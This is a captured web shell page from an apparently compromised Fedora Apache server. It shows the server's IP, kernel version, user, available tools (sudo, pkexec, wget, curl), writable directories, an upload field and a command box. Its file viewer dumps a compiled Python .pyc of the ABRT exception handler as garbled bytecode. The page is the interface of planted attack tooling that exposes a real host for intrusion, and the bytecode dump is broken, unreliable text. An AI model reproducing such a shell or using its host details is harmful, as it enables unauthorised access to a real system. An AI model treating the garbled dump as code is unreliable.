403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages//abrt_exception_handler.pyc
3kJc@s-dZddkZddkZddkZddkZddkZhZddZdZdZ	dZ
dad	Zda
d
ZdadZd
ZddZedjoedZdZddkZdZeedZdefdYZyeieidddddg\ZZxeD]\ZZedjp
edjo
dZq=nedjp
edjo
dZq=nedjp
edjoeei dq=q=WWn0eiefj
oeei dnXeeeei dndZ!dS( s
Module for a userfriendly exception handling

Example code:

import sys

from exception import action, error, exitcode, installExceptionHandler

installExceptionHandler("test", "1.0", gui=0, debug=0)

def exception_function():
    action("Trying to divide by zero")

    try:
        local_var_1 = 1
        local_var_2 = 0
        # test exception raised to show the effect
        local_var_3 = local_var_1 / local_var_2
    except:
        error("Does not seem to work!? :-)")
        exitcode(15)
        raise

iNicCsddk}ti|ptt|<n|iddS|iiidp|iiido|id|fdS|id|iid|d	}x4|iiD]#\}}t	||i
jo|id
||fd}xn|D]f}|p|idnd
}t	||ijot|||dq|id|fqW|idqt	||i
jo|id||fd}x|iD]\}	}
|p|idnd
}t	|	|ijo|id|	fn|id|	ft	|
|ijot|
||dq|id|
fqW|idqt	||ijo/|id||ft|||dq|id|||fqWdS(sdumps all classesiNsAlready dumped
t__str__t__repr__s%s
s!%s instance, containing members:
t is%s%s: [is, is%ss]
s%s%s: {s'%s': s%s: s}
s%s%s: s	%s%s: %s
(ttypest
__DUMPHASHthas_keytTruetwritet	__class__t__dict__t__name__titemsttypetListTypetInstanceTypet__dump_classtDictTypet
StringType(tinstancetfdtlevelRtpadtkeytvaluetfirsttitemtktv((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyR6sZ
	
cCsd}tidotiitid}ndg}|id||id||id||idtd|iid	d
|idtd|i	dt
i|d
t
i}|i
||idS(Ns"Exception raised from python shellisabrt-pyhook-helpers--pid=%ss--executable=%ss	--uuid=%ss--cmdline=%ss/proc/%s/cmdlinetRs
--loginuid=%ss/proc/%s/loginuidtstdin(tsystargvtostpathtabspathtappendtopentreadtreplacet	readlinest
subprocesstPopentPIPEtcommunicatetwait(tpidttb_uuidttbt
executabletcommandthelper((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt
write_dumpks	-%
cCs|i||}x|io
|i}qW|i}|idy;x4|iiD]#\}}|id||fqWWWnnXdS(swrite a traceback to "out"s%
Local variables in innermost frame:
s%s: %s
N(Rttb_nextttb_frametf_localsR(toutttextttracebkttracetframeRR((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt__dump_exception{s

	
cCsdS(N((ttitleR8tcomponent_name((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt__exception_windowstcCs
|adS(s=Describe what you want to do actually.
    what - string
    N(t__ACTION_STR(twhat((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pytactionscCs
|adS(sIDescribe what went wrong with a userfriendly text.
    what - string
    N(t__ERROR_STR(RB((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyterrorsi
cCst|adS(spThe exitcode, with which the exception handling routine should call
    sys.exit().
    num - int(exitcode)
    N(tintt
__EXITCODE(tnum((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pytexitcodescCs|\}}}tit_|tjoti|||Sy0ddk}ddkl}ddk}tidti	d|i
|||}|i|dd}t
|o|t
|d}n|i||}	d}
|
d	}
|oNt
|d
jo;g}|i|d
 |ii|d|d<|}n|}d}
x5|D]-}|
t|d7}
|it|q[Wt|id }|
|d
|
7}
|
|	d7}
|
d7}
|
di|7}
|}x|io
|i}qW|i}|
d7}
y8x1|iiD] \}}|
d||f7}
q&WWnnXt|i||
WnnXti|||S(s
    The exception handling function.

    progname - the name of the application
    version  - the version of the application
    iN(tmd5s1abrt: Pyhook: Detected unhandled exception in %s itlimitiR@sSummary: TBit:iRs
s%
Local variables in innermost frame:
s%s: %s
(Rt__excepthook__t
excepthooktKeyboardInterrupttos.paththashlibRJt	tracebacktsyslogRtformat_exceptiont
extract_tbtNonetlentformat_exception_onlytextendR!tbasenametstrtupdatet	hexdigesttjoinR4R5R6RR3tgetpid(t.0tetypeRR/R RJRRtelistttblasttextxtR8tlltmtntextttR.R:R;Rtval((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pythandleMyExceptions`	



	

	
icCsdt_dS(s
    Install the exception handling function.

    progname - the name of the application
    version  - the version of the application
    debug    - show the full traceback (with "Save to file" in GUI)
    cSst|||fS((Rj(RaRR/((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt<lambda>sN(RRN(tdebug((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pytinstallExceptionHandlerst__main__cCsItdyd}d}||}WntdtdnXdS(NsTrying to divide by zeroiisDoes not seem to work!? :-)i(RCRERI(tlocal_var_1tlocal_var_2tlocal_var_3((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt_exception_functions


cCsdtidGHdS(Ns%s [-dgh] [--debug] [--gui] [--help]
    -d, --debug
        Show the whole backtrace

    -h, --help
        Display this messagei(RR(((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt_usagestBadUsagecBseZdZRS(s&exception for a bad command line usage(R
t
__module__t__doc__(((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyRtstdghRlthelptguis-ds--debugs-gs--guis-hs--helps Harald Hoyer <harald@redhat.com>("RvRR RSR(t	ABRTUtilsRRR3R<R?RARCRDRERGRIRjRmR
RrRstgetoptt__debugt	ExceptionRtRt__optst__argst__optt__valt__guitexitt
__author__(((s:/usr/lib/python2.6/site-packages/abrt_exception_handler.pyt<module>,sb5							?
	
	



Youez - 2016 - github.com/yon3zu
LinuXploit